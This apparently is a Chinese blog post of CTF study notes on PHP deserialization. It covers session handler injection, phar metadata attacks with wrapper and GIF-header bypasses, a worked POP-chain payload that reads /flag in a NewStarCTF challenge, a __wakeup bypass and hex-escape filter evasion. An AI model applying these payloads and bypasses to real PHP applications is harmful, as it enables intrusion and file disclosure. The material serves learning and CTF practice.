加载中...

反序列化问题总结


PHP反序列化


1 序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

2 反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞

3 常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct()  //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发,先会调用这个函数
__sleep() //当使用serialize时触发,先会调用这个函数
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发 echo或者拼接字符串或者其他隐式调用该方法的操作都会触发
__invoke() //当尝试将对象调用为函数时触发
__callStatic //在静态上下文中调用不可访问的方法时触发
__isset() //当对不可访问属性调用isset()或empty()时调用
__unset() //在不可访问的属性上使用unset()时触发
__isset() //在不可访问的属性上调用isset()或empty()触发

这是一个反序列化结果: //O:4:”Test”:2:{s:4:”test”;s:2:”ok”;s:3:”var”;N;}

O代表这是一个对象,4代表对象名称的长度,2代表成员(对象属性)个数。 “Test”代表类的名称(也叫对象名)
大括号中分别是:属性名类型、长度、名称;属性值类型、长度、值。“test”代表属性名称

另附一份详情表:

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

要点:

  1. 序列化只序列属性,不序列方法
  2. 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
  3. 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

注意:1 反序列时需要注意私有的、被保护的属性被序列化的时候属性值会变成%00*%00属性名(受保护的)。

所以在构造a参数值的时候,注意序列化后的结构(可能%00类名%00属性名:私有的)

可以看到protected属性序列化之后的属性名前会多出个\00*\00或者写成%00*%00

可以看到private属性序列化之后会在属性名前加上类名People,而且在类名的两侧会加上\00或者说%00

2 如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

4 Session序列化问题

session的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

  • php : 默认使用方式,格式: 键名|键值(经过序列化函数处理的值)
  • php_serialize: 格式 :经过序列化函数处理的值 (php > =5.5.4))
  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

php.ini中一些session配置

1
2
3
4
session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用p

当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"在经过php解析后是被看成键名,后面就是一个实例化test对象的注入。

可能有萌新不太懂,这里解释一下:a:1是使用php_serialize进行序列话都会加上 s:1:”a”表示键名 a的序列化内容!

注意:4在ASCII表中对应的就是EOT。根据php_binary的存储规则,突然发现ASCII的值为4的字符无法在网页上面显示。例如键名是name这种情况。

以一道例题来讲解一下session反序列化

5 Phar反序列化问题

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

如何生成一个phar文件呢?举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

受影响的函数

知道创宇测试后受影响的函数列表:

在这里插入图片描述

实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38

绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://compress.zlib://等绕过

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

6 POP链子类问题

以2022年9月的NewStarCTF week 2的Unseralize为例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

如上面所示,很明显就是一道php反序列化构造pop链的题,这类题首先我们需要做的就是观察我们的最终目的是要调用哪个函数,在此题中很明显有个关键语句: **echo file_get_contents(‘/flag’);**所以我们最终目的便是要触发Sec类里的__invoke魔术方法即可获取flag。

pop链构造题中最常见的入口就是__destruct(),此函数在对象销毁时立刻触发(可以直接理解为new该对象时直接触发该方法),所以我们第一步便是创建一个变量实现Start类:

1
$res = new Start();

此时会触发__destruct()函数:

1
2
3
4
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

可以看到 echo 了 name 这个属性,所以此时若把name实例化成一个对象,且该对象含有__toString()时就可以触发该魔术方法,所以我们寻找含有该魔术方法的类即Sec类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lass Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

跟进**__toString(),可以发现调用了objcheck()方法,而__call()刚好是调用一个对象中无法利用的方法或者不存在的方法时触发,Easy**类中就有这个魔术方法

所以我们把obj实例化为一个Easy类的对象

因此第三步为:

1
$res->name->obj = new Easy();

跟进**__call(),可以发现调用了clone,因此我们直接去找哪个类含有__clone()方法,可以发现eeee**类有此方法:

因此我们要把var这个变量实例化为一个eeee的对象

因此第四步为:

1
$res->name->var = new eeee(); 

跟进**__clone(),可以发现调用了isset()方法,因此我们直接找哪个类含有__isset(),可以发现Start类有此方法且Start类中无法调用cmd属性(因为不存在),因此要把eeee对象中的obj属性实例化为一个Start**对象:

因此第五步为:

1
$res->name->var->obj = new Start();

跟进**__isset(),可以发现直接将func属性当成函数调用刚好可以触发__invoke()方法,所以此时就到了pop链的最后一个部分,现在只需要将func属性实例化为Sec**对象即可触发

因此最后一步为:

1
$res->name->var->obj->func = new Sec();

直接将文中需要利用的类全部copy下来,注意!!!:因为私有类属性无法在类外进行操作,所以我们要把属性全部改成公有属性即 public属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Start{
public $name;
public $func;

}

class Sec{
public $obj;
public $var;

}

class Easy{
public $cla;

}

class eeee{
public $obj;

}
$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee();
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();
echo serialize($res);

得到payload为:

O:5:”Start”:2:{s:4:”name”;O:3:”Sec”:2:{s:3:”obj”;O:4:”Easy”:1:{s:3:”cla”;N;}s:3:”var”;O:4:”eeee”:1:{s:3:”obj”;O:5:”Start”:2: {s:4:”name”;N;s:4:”func”;O:3:”Sec”:2:{s:3:”obj”;N;s:3:”var”;N;}}}}s:4:”func”;N;}

最后post传参,pop=以上payload即可得到flag

7 PHP原生类反序列化利用

8 字符串逃逸

反序列化字符串溢出造成的攻击问题一般是因为对序列化之后的字符串进行了字符替换或者过滤等造成前后字符长度有差异;攻击者可以通过可控的属性传入payload造成对象注入:

  • 对象的属性值可控
  • 对序列化之后的字符串进行替换或者过滤造成前后长度有差异
情况1:过滤后字符变多

9 反序列化绕过小Trick

1 wakeup()函数绕过

版本:PHP5 < 5.6.25 || PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666

而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc

​ 2 绕过部分正则

​ 3 16进制绕过字符的过滤

1
2
3
4
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
例子:<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

参考链接

Y4神:[(1条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

末初师傅:(1条消息) 由浅入深理解PHP反序列化漏洞_末初mochu7的博客-CSDN博客

向两位佬学习!!!


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录